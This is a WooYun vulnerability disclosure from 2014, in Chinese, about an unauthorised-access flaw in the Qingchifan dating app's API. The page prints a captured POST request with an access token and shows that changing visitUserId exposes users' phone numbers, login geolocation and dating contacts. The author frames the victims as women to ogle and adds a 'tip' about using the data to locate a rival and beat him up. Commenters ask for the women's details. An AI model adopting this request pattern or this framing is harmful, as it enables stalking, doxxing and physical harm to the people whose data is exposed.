当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-071538

漏洞标题：Gozap旗下某社交平台接口控制不严泄露会员详细信息(都是妹子)

相关厂商：qingchifan.com

漏洞作者： s3xy

提交时间：2014-10-11 17:32

修复时间：2014-10-16 17:34

公开时间：2014-10-16 17:34

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-11： 细节已通知厂商并且等待厂商处理中
2014-10-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

妹子的手机号、所在的经纬度、跟谁约过会等等信息一览无余。
妹子，我来了~~

详细说明：

出现问题的是http://www.qingchifan.com/ 请吃饭的APP客户端。
我们注册个号看一下

1.jpg


居然是妹子买单，好感动。点开妹子资料看看

2.jpg


发现正常是无法看到更多信息的。我们抓包试试

POST /api/event/get.json?access_token=028fa5cddf7e5130dfd35344299ffbba846282C727162AC08F276736FD32C85 HTTP/1.1
Host: api.qingchifan.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-cn
Accept: */*
Pragma: no-cache
Content-Length: 27
Connection: keep-alive
User-Agent: QingChiFan/1.2.2 CFNetwork/609.1.4 Darwin/13.0.0
visitUserId=7138**


上面的7138** 便是妹子的用户ID
我们看下返回的数据

3.jpg


4.jpg


由此便得到了妹子的所有信息，包括注册时间，手机号，最后登录时间，最后登录地点经纬度。
下面，我们再看看如何查看妹子和谁约过会。

5.jpg


抓包后，发现返回了该用户的ID

6.jpg


查看他的信息

7.jpg


【友情小提示】看到女神被人约过，你可以利用此方法找到对方手机号以及经纬度，过去暴打他一顿。。

漏洞证明：

下面在附上一个小漏洞，可以把个人资料修改的个性一点。。

8.jpg


点击编辑资料后，抓包便可以发现所有个人信息都在数据包里。
通过直接更改数据包可以实现改成任意字符。

修复方案：

不要把所有信息都返回到客户端。
增强接口控制。

版权声明：转载请注明来源 s3xy@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-10-16 17:34

厂商回复：

最新状态：

2014-12-08：正在修复bug

漏洞评价：

评论

  1. 2014-08-09 22:24 | Jn· ( 路人 | Rank:30 漏洞数:14 | 本小菜很可爱，如果不服你TM来打我啊--哎呀...)

    都是妹子，能联系下我QQ发我分么，哈哈

  2. 2014-08-10 08:35 | s3xy ( 核心白帽子 | Rank:832 漏洞数:113 | 相濡以沫，不如相忘于江湖)

    @ Jn· 搞妹子多没意思。不如咱俩搞基吧。

  3. 2014-10-03 12:10 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM：http://bbs.jyhack.com/)

    都是妹子？？分我几个吧 └(^o^)┘

  4. 2014-10-03 13:18 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖，不如相濡以沫)

    无影响厂商忽略

  5. 2014-10-04 10:41 | 小卖部部长 ( 路人 | Rank:24 漏洞数:3 | 别拿部长不当干部！)

    省饭钱了。。。

  6. 2014-10-11 19:53 | 机器猫 ( 普通白帽子 | Rank:1141 漏洞数:253 | 爱生活、爱腾讯、爱网络！)

    哈哈，妹子~

  7. 2014-10-12 00:37 | 风花雪月 ( 实习白帽子 | Rank:55 漏洞数:44 | []+[]|[]-[][][][][]%[][]|[]\[]%[][]|[]\[...)

    不发妹子信息，你就是准备受宫刑的

  8. 2014-10-16 18:59 | Neeke ( 普通白帽子 | Rank:101 漏洞数:24 | 求传授刷Rank方法？)

    估计都是拖把

  9. 2014-10-19 14:48 | 北洋贱队 ( 普通白帽子 | Rank:252 漏洞数:25 )

    @xsser 这个洞值多少rank

  10. 2014-10-19 14:48 | 北洋贱队 ( 普通白帽子 | Rank:252 漏洞数:25 )

    虽然忽略了 但是接口已经请求不到这些信息了